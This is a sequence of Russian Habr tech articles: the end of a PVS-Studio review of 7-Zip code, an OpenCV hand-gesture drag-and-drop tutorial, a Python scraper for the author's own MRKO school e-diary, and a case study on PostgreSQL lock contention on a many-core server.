В данной ситуации возможно два варианта. Или переменная *numMethods* является флагом и в этом случае лучше использовать инициализацию булевым значением *numMethods = true*. Или, судя по названию переменной, это счетчик, который должен быть целочисленным.
### Проверка неудачного выделения памяти
Анализатор обнаружил ситуацию, когда значение указателя, возвращаемого оператором *new* сравнивается с нулем. Как правило, это значит, что программа при невозможности выделить память будет вести себя не так, как ожидает программист.
[V668](http://www.viva64.com/ru/d/0293/) There is no sense in testing the 'plugin' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. far.cpp 399
Вот как это выглядит в коде программы:
```
static HANDLE MyOpenFilePluginW(const wchar_t *name)
{
....
CPlugin *plugin = new CPlugin(
fullName,
// defaultName,
agent,
(const wchar_t *)archiveType
);
if (!plugin)
return INVALID_HANDLE_VALUE;
....
}
```
Если оператор *new* не смог выделить память, то согласно стандарту языка C++, генерируется исключение *std::bad\_alloc()*. Таким образом проверять на равенство нулю не имеет смысла. Указатель plugin никогда не будет равен нулю. Функция никогда не вернет константное значение *INVALID\_HANDLE\_VALUE*. Если выделить память невозможно, то возникает исключение, которое лучше обрабатывать на более высоком уровне, а проверку на равенство нулю можно просто удалить. Ну или если исключения в приложении нежелательны, то можно использовать оператор *new* не генерирующий исключений, в этом случае можно проверять возвращаемое значение на ноль. В коде приложения встретилось еще 3 подобных проверки:* V668 There is no sense in testing the 'm\_Formats' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. enumformatetc.cpp 46
* V668 There is no sense in testing the 'm\_States' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. bzip2decoder.cpp 445
* V668 There is no sense in testing the 'ThreadsInfo' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. bzip2encoder.cpp 170
### Конструкции требующие оптимизации
Теперь немного о местах, которые потенциально можно оптимизировать. В функцию передается объект. Этот объект передается по значению, но при этом не модифицируется, так как имеется ключевое слово *const*. Возможно, было бы рационально передавать его с помощью константной ссылки в языке C++ или с помощью указателя в языке C.
Вот пример для вектора:
[V801](http://www.viva64.com/ru/d/0135/) Decreased performance. It is better to redefine the first function argument as a reference. Consider replacing 'const… pathParts' with 'const… &pathParts'. wildcard.cpp 487
```
static unsigned GetNumPrefixParts(const UStringVector pathParts)
{
....
}
```
При вызове этой функции произойдет вызов конструктора копирования для класса *UStringVector*. Если подобное копирование объектов происходит часто, то это может существенно снижать производительность приложения. Данный код можно легко оптимизировать, добавив ссылку:
```
static unsigned GetNumPrefixParts(const UStringVector& pathParts)
{
....
}
```
Вот еще некоторые похожие места:* V801 Decreased performance. It is better to redefine the first function argument as a reference. Consider replacing 'const… props' with 'const… &props'. benchmarkdialog.cpp 766
* V801 Instantiate CRecordVector < CAttribIconPair >: Decreased performance. It is better to redefine the first function argument as a reference. Consider replacing 'const… item' with 'const… &item'. yvector.h 199
Заключение
----------
7-Zip — это небольшой проект, развивающийся уже достаточно давно и найти большого количества серьезных ошибок конечно не удалось. Но в коде все же есть места, на которые нужно обратить внимание и статический анализатор кода PVS-Studio существенно облегчит эту работу. Если вы разрабатываете проект на C, C++ или C#, предлагаю не откладывая скачать PVS-Studio и проверить свой проект: <http://www.viva64.com/ru/pvs-studio-download/>
[](http://www.viva64.com/en/b/0402/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Kirill Yudintsev. [Checking 7-Zip with PVS-Studio analyzer](http://www.viva64.com/en/b/0402/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/302708/ | null | ru | null |
# Drag-and-Drop на Python+OpenCV
В данной статье расскажу про простой `Drag-and-Drop` на Python+OpenCV.
Немного теории, ведь в наше время без нее никуда🤓
```
Drag-and-drop () — способ оперирования элементами интерфейса в интерфейсах пользователя
(как графическим, так и текстовым, где элементы GUI реализованы при помощи псевдографики)
при помощи манипулятора «мышь» или сенсорного экрана.
```
Простыми словами:
```
Drag-and-Drop - это возможность захватить мышью элемент и перенести его.
```
Идея заключается в перемещении созданных квадратов на экране жестами руки. Так как нам потребуется как-то воспроизводить `клик`, то представим, что `кликом` будет служить соединение указательного и среднего пальцев. Теперь можно писать код.
Тут, я разберу весь код с нуля, но для полной ясности лучше прочитать мои предыдущие [статьи](https://habr.com/ru/users/Pavel_Dat/posts/)😄
Все исходники можно найти на моем [Github](https://github.com/paveldat/drag_and_drop).
Установим все необходимые библиотеки:
```
pip install opencv-python
pip install numpy
pip install cvzone
```
В первую очередь создаем новый файл `[HandTrackingModule.py](https://github.com/paveldat/drag_and_drop/blob/main/HandTrackingModule.py)`
```
import cv2
import mediapipe as mp
import time
import math
class handDetector():
def __init__(self, mode=False, maxHands=2, modelComplexity=1, detectionCon=0.5, trackCon=0.5):
self.mode = mode
self.maxHands = maxHands
self.modelComplexity = modelComplexity
self.detectionCon = detectionCon
self.trackCon = trackCon
self.mpHands = mp.solutions.hands
self.hands = self.mpHands.Hands(self.mode, self.maxHands, self.modelComplexity, self.detectionCon, self.trackCon)
self.mpDraw = mp.solutions.drawing_utils
self.tipIds = [4, 8, 12, 16, 20]
def findHands(self, img, draw=True):
imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
self.results = self.hands.process(imgRGB)
#print(results.multi_hand_landmarks)
if self.results.multi_hand_landmarks:
for handLms in self.results.multi_hand_landmarks:
if draw:
self.mpDraw.draw_landmarks(img, handLms, self.mpHands.HAND_CONNECTIONS)
return img
def findPosition(self, img, handNo=0, draw=True):
xList = []
yList = []
bbox = []
self.lmList = []
if self.results.multi_hand_landmarks:
myHand = self.results.multi_hand_landmarks[handNo]
for id, lm in enumerate(myHand.landmark):
#print(id, lm)
h, w, c = img.shape
cx, cy = int(lm.x*w), int(lm.y*h)
xList.append(cx)
yList.append(cy)
#print(id, cx, cy)
self.lmList.append([id, cx, cy])
if draw:
cv2.circle(img, (cx, cy), 5, (255,0,255), cv2.FILLED)
xmin, xmax = min(xList), max(xList)
ymin, ymax = min(yList), max(yList)
bbox = xmin, ymin, xmax, ymax
if draw:
cv2.rectangle(img, (bbox[0]-20, bbox[1]-20), (bbox[2]+20, bbox[3]+20), (0, 255, 0), 2)
return self.lmList, bbox
def findDistance(self, p1, p2, img, draw=True):
x1, y1 = self.lmList[p1][1], self.lmList[p1][2]
x2, y2 = self.lmList[p2][1], self.lmList[p2][2]
cx, cy = (x1+x2)//2, (y1+y2)//2
if draw:
cv2.circle(img, (x1,y1), 15, (255,0,255), cv2.FILLED)
cv2.circle(img, (x2,y2), 15, (255,0,255), cv2.FILLED)
cv2.line(img, (x1,y1), (x2,y2), (255,0,255), 3)
cv2.circle(img, (cx,cy), 15, (255,0,255), cv2.FILLED)
length = math.hypot(x2-x1, y2-y1)
return length, img, [x1, y1, x2, y2, cx, cy]
def fingersUp(self):
fingers = []
# Thumb
if self.lmList[self.tipIds[0]][1] < self.lmList[self.tipIds[0]-1][1]:
fingers.append(1)
else:
fingers.append(0)
# 4 Fingers
for id in range(1,5):
if self.lmList[self.tipIds[id]][2] < self.lmList[self.tipIds[id]-2][2]:
fingers.append(1)
else:
fingers.append(0)
return fingers
def main():
pTime = 0
cTime = 0
cap = cv2.VideoCapture(0)
detector = handDetector()
while True:
success, img = cap.read()
img = detector.findHands(img)
lmList = detector.findPosition(img)
if len(lmList) != 0:
print(lmList[1])
cTime = time.time()
fps = 1. / (cTime - pTime)
pTime = cTime
cv2.putText(img, str(int(fps)), (10,70), cv2.FONT_HERSHEY_PLAIN, 3, (255,0,255), 3)
cv2.imshow("Image", img)
cv2.waitKey(1)
if __name__ == "__main__":
main()
```
Данный класс мы использовали в [Управление громкостью звука жестами на Python](https://habr.com/ru/post/678638/).
Можем создать новый файл, назовем его `main.py` и будем писать всю логику.
Импортируем библиотеки:
```
import cv2
import HandTrackingModule as htm
import cvzone
import numpy as np
```
Запускаем камеру и присваиваем глобальным переменным значения:
```
cap = cv2.VideoCapture(0)
cap.set(3, 1280)
cap.set(4, 720)
detector = htm.handDetector(detectionCon=0.8)
colorR = (255, 0, 255)
cx, cy, w, h = 100, 100, 200, 200
```
При подключении камеры могут возникнуть ошибки, поменяйте `0` из `cap=cv2.VideoCapture(0)` на `1` или `2`.
```
cx, cy - координаты левой верхней точки нашего четырехугольника
w, h - ширина и длина (в нашем случае будет квадрат)
```
Напишем класс, для более удобной дальнейшей работы с блоками:
```
class DragAndDrogRectangle():
def __init__(self, posCenter, size=[200, 200]):
self.posCenter = posCenter
self.size = size
def update(self, cursor):
cx, cy = self.posCenter
w, h = self.size
# If the index finger tip is in rectangle region
if cx - w//2 < cursor[0] < cx + w//2 and cy - h//2 < cursor[1] < cy + h//2:
self.posCenter = cursor
```
```
rectList = []
for x in range(5):
rectList.append(DragAndDrogRectangle([x*250+150, 150]))
```
Таким образом у нас будет не один квадрат, а 5. При необходимости можно добавлять или удалять их.
Запускаем бесконечный цикл (можно поставить остановку при необходимости):
```
while True:
success, img = cap.read()
img = cv2.flip(img, 1)
img = detector.findHands(img)
lmList, _ = detector.findPosition(img)
```
Рассмотри теперь изображение, где показаны "Hand Land Marks":
Так как ранее было установлено, что `кликом` будет соединение указательного и среднего пальцев, то значит нам нужно считывать расстояние между точками `8` и `12`.
```
if len(lmList) != 0:
length, _, _ = detector.findDistance(8, 12, img, draw=False)
if length < 40:
cursor = lmList[8][1:] # index finger tip landmark
# call the update
for rect in rectList:
rect.update(cursor)
# Draw
imgNew = np.zeros_like(img, np.uint8)
for rect in rectList:
cx, cy = rect.posCenter
w, h = rect.size
cv2.rectangle(imgNew, (cx - w//2, cy - h//2), (cx + w//2, cy + h//2), colorR, cv2.FILLED)
cvzone.cornerRect(imgNew, (cx - w//2, cy - h//2, w, h), 20, rt=0)
out = img.copy()
alpha = 0.1
mask = imgNew.astype(bool)
out[mask] = cv2.addWeighted(img, alpha, imgNew, 1-alpha, 0)[mask]
cv2.imshow("Image", out)
cv2.waitKey(1)
```
Если `клик` не работает и вы не можете перемещать блоки, тогда замените `40` на большее значение, например на `50`, и попробуйте снова:
```
if length < 40
```
Эта проблема возникает из-за того, что у каждого человека руки разные и расстояние между пальцами отличается🙄.
Если хотите поменять `клик` или `указатель` на другие пальцы, то на изображении "Hand Land Marks" можно выбрать те точки, которые будут за это отвечать. После чего необходимо поменять эти строки:
```
length, _, _ = detector.findDistance(8, 12, img, draw=False)
```
Вместо `8` и `12`, вписываем выбранные точки, которые будут отвечать за клик.
```
cursor = lmList[8][1:] # index finger tip landmark
```
Вместо `8`, вписываем ту точку, которая будет служить указателем (представим, что это курсор мыши).
Для перемещения квадратов (блоков) нужно удерживать `клик`, т.е. два пальца должны быть соединены все время, пока мы хотим перемещать тот или иной объект.
Запускаем программу и тестируем🤞:
Ура! Все работает!
Вместо квадратов вы сможете добавить необходимые блоки и использовать `Drag-and-Drop` для работы с ними =) | https://habr.com/ru/post/679444/ | null | ru | null |
# История о том, как я парсер для дневника мастерил
Год назад я начал писать ботов для всеми любимого Телеграма. На Питоне, конечно. И вот недавно мой сын пошёл в школу, где, как оказалось, был электронный дневник под названием [МРКО](https://mrko.mos.ru/dnevnik/). Как вы могли догадаться, самая первая мысль — сделать бота (пока для личного пользования), который смог бы присылать в Телеграм оценки, домашнее задание и комментарии. Кому интересно — прошу под кат.
Пишем парсер
============
Сначала, понятное дело, нужно написать парсер для самого дневника. Для тех, кто не знает, поясню. Система входа примерно такая: ученик/родитель входит на портал mos.ru, авторизуется на нем и уже с этого портала входит на основной mrko.mos.ru. Вы можете подумать — почему же просто сразу не войти на mrko.mos.ru? Проблема в том, что сервер отвечает нам таким сообщением:
> Вход для родителей и обучающихся производится только с сайта Портала Госуслуг Москвы.
Тут то и получается основная загвоздка. Понятное дело, нужно совершать как можно меньше запросов, чтобы скорость ответа была больше.
Исследованием сниффера исходящего трафика Я понял, что сначала происходит GET-запрос к `https://mrko.mos.ru/dnevnik/services/index.php?login=ЛОГИН&password=ПАРОЛЬ_В_MD5`, ставятся необходимые куки и потом можно заходить на `https://mrko.mos.ru/dnevnik/services/dnevnik.php?r=1&first=1`. Начал я с импортирования моей любимой библиотеки для работы с HTTP в Питоне — Requests. Далее — создание элементарной сессии:
```
import requests
def diary():
session = requests.Session()
headers = {'Referer': 'https://www.mos.ru/pgu/ru/application/dogm/journal/'}
auth_url = "https://mrko.mos.ru/dnevnik/services/index.php"
auth_req = session.get(auth_url, headers=headers, params={"login": ЛОГИН, "password": ПАРОЛЬ_В_MD5}, allow_redirects=False)
```
Сразу хочу обратить внимание на заголовок Referer. Как позже выяснилось, его необходимо указывать, иначе дневник не даст нам войти, думая что мы вошли напрямую. Я нам надо замаскироваться, будто бы мы вошли с mos.ru. Теперь основной запрос к дневнику:
```
main_req = session.get("https://mrko.mos.ru/dnevnik/services/dnevnik.php?r=1&first=1")
```
Разбираем данные
----------------
Отлично. В дневник зашли. Теперь самая сложная часть — разбор (парсинг) данных. Для этой ~~простой~~ задачи я решил использовать BeautifulSoup, т.к. раньше имел дело с ним работать.
```
from bs4 import BeautifulSoup
parsed_html = BeautifulSoup(main_req.content, "lxml")
```
~~Не~~Долгим копанием с помощью Chrome Developer Tools в DOM-дереве дневника, вычислил div с необходимой информацией.
```
columns = parsed_html.body.find_all('div', 'b-diary-week__column')
final_ans = []
```
Теперь у нас есть массив с данными на каждый день дневника, начиная от понедельника и заканчивая субботой и пустой массив с финальными данными. Очевидно, что для обхода массива я использую цикл `for`:
```
for column in columns:
```
Опять же, нашел элементы с нужной мне информацией. А именно: день недели, число, домашнее задание, оценки и комментарии к урокам. Получилось примерно так.
```
date_number = column.find("span", "b-diary-date").text
date_word = column.find("div", "b-diary-week-head__title").find_all("span")[0].text
```
Теперь записываем данные о дате и перебираем каждую "ячейку" в таблице
```
lessons_table = column.find("div", "b-diary-lessons_table")
all_lists = lessons_table.find_all("div", "b-dl-table__list")
for lesson in all_lists:
lesson_columns = lesson.find_all("div", "b-dl-td_column")
lesson_number = lesson_columns[0].span.text
lesson_name = lesson_columns[1].span.text
# Если название урока пусто, пропускаем
if lesson_name == "":
pass
else:
lesson_dz = lesson_columns[2].find("div", "b-dl-td-hw-section").span.text
lesson_mark = lesson_columns[3].span.text[0:1]
lesson_comment = lesson_columns[4].find("div", "b-dl-td-hw-comments").span.text
final_ans.append(
"**{0}. {1}**. Домашнее задание:\n"
"*{2}*\n"
"Оценка за урок: *{3}*\n\n".format(lesson_number,
lesson_name,
lesson_dz,
lesson_mark))
final_ans.append("\n-------------------\n\n")
```
В итоге у нас получился парсер, который может выдавать примерно это:
Ну, на этом все. Спасибо за прочтение. Надеюсь я сэкономил вам много времени. Следующую статью напишу про интеграцию этого парсера с Телеграм-ботом.
Ссылки
======
* [Портал MOS.RU](http://mos.ru)
* [МРКО](http://mrko.mos.ru/dnevnik)
* [Requests](http://docs.python-requests.org/en/master/)
* [BeautifulSoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) | https://habr.com/ru/post/323856/ | null | ru | null |
# Параллелизм в PostgreSQL: не сферический, не конь, не в вакууме
Масштабирование СУБД – это непрерывно наступающее будущее. СУБД совершенствуются и лучше масштабируются на аппаратных платформах, а сами аппаратные платформы наращивают производительность, число ядер, памяти — Ахиллес догоняет черепаху, но все еще не догнал. Проблема масштабирования СУБД стоит во весь рост.
Компании Postgres Professional с проблемой масштабирования довелось столкнуться не только теоретически, но и практически: у своих заказчиков. И не раз. Об одном из таких случаев и пойдёт речь в этой статье.
PostgreSQL неплохо масштабируется на NUMA-системах, если это одна материнская плата с несколькими процессорами и несколькими шинами данных. О некоторых оптимизациях можно почитать [здесь](https://habr.com/company/postgrespro/blog/270827/) и [здесь](http://akorotkov.github.io/blog/2016/05/09/scalability-towards-millions-tps/). Однако есть и другой класс систем, у них несколько материнских плат, обмен данными между которыми осуществляется с помощью интерконнекта, при этом на них работает один экземпляр ОС и для пользователя такая конструкция выглядит как единая машина. И хотя формально такие системы можно также отнести к NUMA, но по своей сути они ближе к суперкомпьютерам, т.к. доступ к локальной памяти узла и доступ к памяти соседнего узла отличаются радикально. В сообществе PostgreSQL считают, что единственный экземпляр Postgres, работающий на таких архитектурах, это источник проблем, и системного подхода к их решению пока нет.
Это объясняется тем, что программная архитектура, использующая разделяемую память, принципиально рассчитана на то, что время доступа разных процессов к своей и удаленной памяти более-менее сравнимо. В случае когда мы работаем с многими узлами, ставка на разделяемую память как быстрый канал коммуникации перестаёт себя оправдывать, т. к. из-за задержек (latency) намного «дешевле» отправить запрос на выполнение определённого действия на узел (ноду), где находятся интересующие данные, чем пересылать эти данные по шине. Поэтому для суперкомпьютеров и вообще систем со многими узлами актуальны кластерные решения.
Это не значит, что на комбинации многоузловых систем и типичной для Postgres архитектуры с разделяемой памятью нужно ставить крест. В конце концов, если процессы postgres будут проводить большую часть времени за выполнением сложных вычислений локально, то эта архитектура будет даже весьма эффективна. В нашей же ситуации клиентом был уже закуплен мощный многоузловый сервер, и нам предстояло решать проблемы PostgreSQL на нём.
А проблемы были серьезные: простейшие запросы на запись (изменить несколько значений полей в одной записи) исполнялись за время от нескольких минут до часа. Как потом подтвердилось, эти проблемы проявились во всей красе именно из-за большого количества ядер и, соответственно, радикального параллелизма в исполнении запросов при относительно медленном обмене между узлами.
Поэтому статья получится как бы двойного назначения:
* Поделиться опытом: что делать, если в многоузловой системе база тормозит не на шутку. С чего начинать, как диагностировать, куда двигаться.
* Рассказать, как могут решаться проблемы самой СУБД PostgreSQL, при большом уровне параллелизма. В том числе о том, как изменение алгоритма взятия блокировок сказывается на эффективности работы PostgreSQL.
### Сервер и БД
Система состояла из 8 лезвий по 2 сокета в каждой. В сумме более 300 ядер (без учета гипертрединга). Быстрая шина (проприетарная технология производителя) соединяет лезвия. Не то, чтобы суперкомпьютер, но для одного экземпляра СУБД конфигурация впечатляющая.
Нагрузка тоже немаленькая. Более 1 терабайта данных. Около 3000 транзакций в секунду. Более 1000 коннектов к postgres.
Начав разбираться с часовыми ожиданиями записи, первым делом мы исключили как причину задержек запись на диск. Как только начались непонятные задержки, тесты стали делать исключительно на `tmpfs`. Картина не изменилась. Диск не при чем.
### Начинаем добычу диагнозов: представления
Поскольку проблемы возникли, скорее всего, из-за высокой конкуренции процессов, которые «стучатся» к одним и тем же объектам, первое, что надо проверить — это блокировки. В PostgreSQL для такой проверки существует представление `pg.catalog.pg_locks` и `pg_stat_activity`. Во второе уже в версии 9.6 добавлена информации о том, чего ждёт процесс (*Амит Капила, Ильдус Курбангалиев*) — `wait_event_type`. Возможные значения этого поля описаны [здесь](https://postgrespro.ru/docs/postgresql/10/monitoring-stats).
Но для начала просто сосчитаем:
```
postgres=# SELECT COUNT(*) FROM pg_locks;
count
—---—
88453
(1 row)
postgres=# SELECT COUNT(*) FROM pg_stat_activity;
count
—---—
1826
(1 row)
postgres=# SELECT COUNT(*) FROM pg_stat_activity WHERE state ='active';
count
—---—
1005
```
Это реальные цифры. Доходило до 200 000 блокировок.
При этом на злополучном запросе висели такие блокировки:
```
SELECT COUNT(mode), mode FROM pg_locks WHERE pid =580707 GROUP BY mode;
count | mode
—-----+---------------—
93 | AccessShareLock
1 | ExclusiveLock
```
При чтении буфера СУБД использует блокировка `share`, при записи — `exclusive`. То есть блокировки на запись составляли менее 1% от всех запросов.
В представлении `pg_locks` виды блокировок не всегда выглядят так, как описано [в документации](https://postgrespro.ru/docs/postgrespro/10/explicit-locking) для пользователя.
Вот табличка соответствий:
```
AccessShareLock = LockTupleKeyShare
RowShareLock = LockTupleShare
ExclusiveLock = LockTupleNoKeyExclusive
AccessExclusiveLock = LockTupleExclusive
```
Запрос SELECT mode FROM pg\_locks показал, что исполнения команды CREATE INDEX (без CONCURRENTLY) ждут 234 INSERT-ов и 390 INSERT-ов ждут `buffer content lock`. Возможное решение — «научить» INSERT-ы из разных сессий меньше пересекаться по буферам.
### Пора задействовать perf
Утилита **`perf`** собирает немало диагностической информации. В режиме `record` … она записывает статистику событий системы в файлы (по умолчанию они в `./perf_data`), а в режиме `report` анализирует собранные данные, можно, например, отфильтровать события, касающиеся только `postgres` или данного `pid`:
```
$ perf record -u postgres или
$ perf record -p 76876 а затем, скажем
$ perf report > ./my_results
```
В результате увидим что-то вроде
Как использовать `perf` для диагностики PostgreSQL описано, например, [здесь](https://blog.2ndquadrant.com/tracing-postgresql-perf/), а также в [pg-вики](https://wiki.postgresql.org/wiki/Profiling_with_perf).
В нашем случае важную информацию дал даже самый простой режим — `perf top`, работающий, естественно, в духе `top` операционной системы. С помощью `perf top` мы увидели, что большую часть времени процессор проводит в локах ядра, а также в функциях `PinBuffer()` и `LWLockAttemptLock().`.
`PinBuffer()` – это функция, которая увеличивает счётчик ссылок на буфер (отображение страницы данных на оперативную память), благодаря которому процессы postgres'а знают какие буфера можно вытеснять, а какие нет.
`LWLockAttemptLock()` – функция взятия `LWLock`'а. `LWLock` – это разновидность лока c двумя уровнями `shared` и `exclusive`, без определения `deadlock`'ов, локи предварительно выделяются в `shared memory`, ожидающие процессы ждут в очереди.
Эти функции уже были достаточно серьёзно оптимизированы в PostgreSQL 9.5 и 9.6. Спинлоки внутри них были заменены на прямое использование атомарных операций.
### Флейм-графы
Без них никак нельзя: даже если бы они были бесполезны, о них все равно стоило бы рассказать — они необыкновенно красивы. Но они полезны. Вот иллюстрация из `github`, не из нашего кейса (ни мы, ни клиент не готовы пока к раскрытию деталей).
Эти красивые картинки весьма наглядно показывают, на что уходят циклы процессора. Данные может собирать тот же `perf`, но `flame graph` доходчиво визуализирует данные, а на основании собранных стеков вызовов строит деревья. Подробно о профилировании с флейм-графами можно прочитать, например, [здесь](https://queue.acm.org/detail.cfm?id=2927301), а скачать всё необходимое [здесь](https://github.com/brendangregg/FlameGraph).
В нашем случае на флейм-графах видно было огромное количество `nestloop`. Видимо, JOIN-ы большого числа таблиц в многочисленных параллельных запросах на чтение стали причиной большого числа `access share` блокировок.
Статистика, собираемая `perf`, показывает то, куда уходят циклы процессора. И хотя мы видели, что большая часть процессорного времени проходит на локах, мы не увидели что именно приводит к таким длительным ожиданиям локов, поскольку мы не видим где именно происходят ожидания локов, т.к. в ожидании процессорное время не тратится.
Для того, чтобы увидеть сами ожидания, можно построить запрос к системному представлению `pg_stat_activity`.
```
SELECT wait_event_type, wait_event, COUNT(*) FROM pg_stat_activity GROUP BY wait_event_type, wait_event;
```
выявил, что:
```
LWLockTranche | buffer_content | UPDATE *************
LWLockTranche | buffer_content | INSERT INTO ********
LWLockTranche | buffer_content | \r
| | insert into B4_MUTEX
| | values (nextval('hib
| | returning ID
Lock | relation | INSERT INTO B4_*****
LWLockTranche | buffer_content | UPDATE *************
Lock | relation | INSERT INTO ********
LWLockTranche | buffer_mapping | INSERT INTO ********
LWLockTranche | buffer_content | \r
```
(звездочки здесь просто заменяют детали запроса, которые не обнародуем).
Видны значения `buffer_content` (блокировка содержимого буферов) и `buffer_mapping` (блокировки на составные части хэш-таблички `shared_buffers`).
### За помощью к GDB
Но почему так много ожиданий для данных видов локов? Для более детальной информации об ожиданиях пришлось использовать отладчик `GDB`. С помощью `GDB` мы можем получать стек вызовов конкретных процессов. Применив сэмплинг, т.е. собрав определённое число случайных стеков вызовов, можно составить представление о том, в каких стеках происходят самые долгие ожидания.
Рассмотрим процесс сборки статистики. Мы будем рассматривать «ручной» сбор статистики, хотя в реальной жизни применяются специальные скрипты, которые делают это автоматически.
Сначала `gdb` надо присоединить к процессу PostgreSQL. Для этого нужно найти `pid` серверного процесса, скажем из
```
$ ps aux | grep postgres
```
Допустим, мы обнаружили:
```
postgres 2025 0.0 0.1 172428 1240 pts/17 S июл23 0:00 /usr/local/pgsql/bin/postgres -D /usr/local/pgsql/data
```
и теперь вставим `pid` в дебагер:
```
igor_le:~$gdb -p 2025
```
Оказавшись внутри дебагера, пишем `bt` [то есть `backtrace`] или `where`. И получаем массу информации примерно такого вида:
```
(gdb) bt
#0 0x00007fbb65d01cd0 in __write_nocancel () from
/lib64/libc.so.6
#1 0x00000000007c92f4 in write_pipe_chunks (
data=0x110e6e8 "2018‐06‐01 15:35:38 MSK [524647]:
[392‐1] db=bp,user=bp,app=[unknown],client=192.168.70.163
(http://192.168.70.163) LOG: relation 23554 new block 493:
248.389503\n2018‐06‐01 15:35:38 MSK [524647]: [393‐1]
db=bp,user=bp,app=["..., len=409, dest=dest@entry=1) at
elog.c:3123
#2 0x00000000007cc07b in send_message_to_server_log
(edata=0xc6ee60 ) at elog.c:3024
#3 EmitErrorReport () at elog.c:1479
```
Собрав статистику, включающую в себя стеки вызовов от всех процессов постгреса, собранные многократно в разные моменты времени, мы увидели, что 3706 секунд (примерно час) длилось ожидание `buffer partition lock` внутри `relation extension lock`, то есть блокировки на кусочка хэш-таблицы буфер-менеджера, которая была необходима для вытеснения старого буфера, чтобы в последствии заменить его на новый, соответствующий расширенной части таблицы. Также было заметно некоторое число `buffer content lock`, что соответствовало ожиданию блокировки страниц `B-tree`-индекса для осуществления вставки.
Поначалу приходило два объяснения такому чудовищному времени ожидания:
* Кто‐то другой взял этот `LWLock` и залип. Но это маловероятно. Потому что ничего сложного внутри buffer partition lock не происходит.
* Мы столкнулись с каким-то паталогическим поведением `LWLock`'а. То есть несмотря на то, что лок слишком на долго никто не брал, его ожидание растянулось неоправданно долго.
### Диагностические патчи и лечение деревьев
Уменьшив количество одновременных соединений, мы бы наверняка разрядили поток запросов на локи. Но это было бы похоже на капитуляцию. Вместо этого *Александр Коротков*, главный архитектор «Postgres Professional (разумеется, он помогал готовить эту статью), предложил серию патчей.
Прежде всего надо было получить более детальную картину бедствия. Как ни хороши готовые инструменты, пригодятся и диагностические патчи собственного изготовления.
Был написан патч, добавляющий детальное логирование времени проведённого в `relation extension`, того, что происходит внутри функции `RelationAddExtraBlocks()`.Так мы узнаем, на что тратится время внутри `RelationAddExtraBlocks().`
А ему в поддержку был написан еще один патч, репортующий в `pg_stat_activity` о том, что мы сейчас делаем в `relation extension`. Сделано было так: когда расширяется `relation`, `application_name` становится `RelationAddExtraBlocks`. Этот процесс теперь удобно с максимумом деталей анализировать с помощью `gdb bt` и `perf`.
Собственно лечебных (а не диагностических) патчей было написано два. Первый патч изменял поведение блокировок листьев `B‐tree`: раньше при запросе на вставку лист блокировался как `share`, а уже после этого получал `exclusive`. Теперь он сразу получает `exclusive`. Сейчас этот патч [уже закоммичен](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=d2086b08b023c0749a53d617ff3fe0f052646254) для **PostgreSQL 12**. Благо в этом году *Александр Коротков* получил [статус коммитера](https://wiki.postgresql.org/wiki/Committers) — второй коммитер PostgreSQL в России и второй в компании.
Также было увеличено с 128 до 512 значение `NUM_BUFFER_PARTITIONS` для уменьшения нагрузки на mapping locks: хэш-таблица менеджера буферов была поделена на более мелкие куски, в надежде что нагрузка на каждый конкретный кусок при этом уменьшится.
После приложения этого патча блокировки на содержание буферов ушли, однако не смотря на увеличение `NUM_BUFFER_PARTITIONS`, остались `buffer_mapping`, то есть, напоминаем, блокировки кусочков хэш-таблицы буфер-менеджера:
```
locks_count | active_session | buffer_content | buffer_mapping
----‐‐‐--‐‐‐+‐------‐‐‐‐‐‐‐‐‐+‐‐‐------‐‐‐‐‐‐‐+‐‐------‐‐‐
12549 | 1218 | 0 | 15
```
Да и то не много. B‐tree перестало быть узким местом. На первый план вышло расширение `heap-а`.
### Лечение совести
Далее Александр выдвинул следующую гипотезу и путь решения:
Мы очень много времени ждём на `buffer parittion lock`'е при вытеснении буфера. Возможно, на этом же `buffer parittion lock`'е лежит какая‐нибудь очень востребованная страница, например, корень какого‐нибудь `B‐tree`. В этом месте есть не прекращающийся поток запросов на `shared lock` от читающих запросов.
Очередь ожидания в `LWLock`'е «не честная». Так как `shared lock`'ов может быть взято сколько угодно одновременно, то если `shared lock` уже взят, то последующие `shared lock`'и проходят без очереди. Таким образом если поток shared lock'ов имеет достаточную интенсивность, чтобы между ними не оставалось «окон», то ожидание `exclusive lock` уходит практически в бесконечность.
Чтобы это починить, можно попробовать предложить — патч «джентльменского» поведения блокировок. Он пробуждает у `shared locker`-ов совесть и они честно становятся в очередь, когда там уже стоит `exclusive lock` (интересно, что у тяжелых блокировок — `hwlock` — нет проблем с совестью: они всегда честно становятся в очередь)
```
locks_count | active_session | buffer_content | buffer_mapping | reladdextra | inserts>30sec
‐‐‐‐‐‐-‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐--‐-‐+‐‐‐‐‐‐-‐‐‐‐‐‐+‐‐‐‐------
173985 | 1802 | 0 | 569 | 0 | 0
```
Всё хорошо! Долгих `insert`-ов нет. Хотя локи на кусках хэш-табличек остались. Но что поделать, таковы свойства шины нашего маленького суперкомпьютера.
Этот патч тоже был [предложен сообществу](https://www.postgresql.org/message-id/CAPpHfdvJhO1qutziOp%3Ddy8TO8Xb4L38BxgKG4RPa1up1Lzh_UQ%40mail.gmail.com). Но как бы ни сложилась судьба этих патчей в сообществе, ничто не мешает им попасть в ближайшие версии **Postgres Pro Enterprise**, которые рассчитаны как раз на клиентов с сильно нагруженными системами.
### Мораль
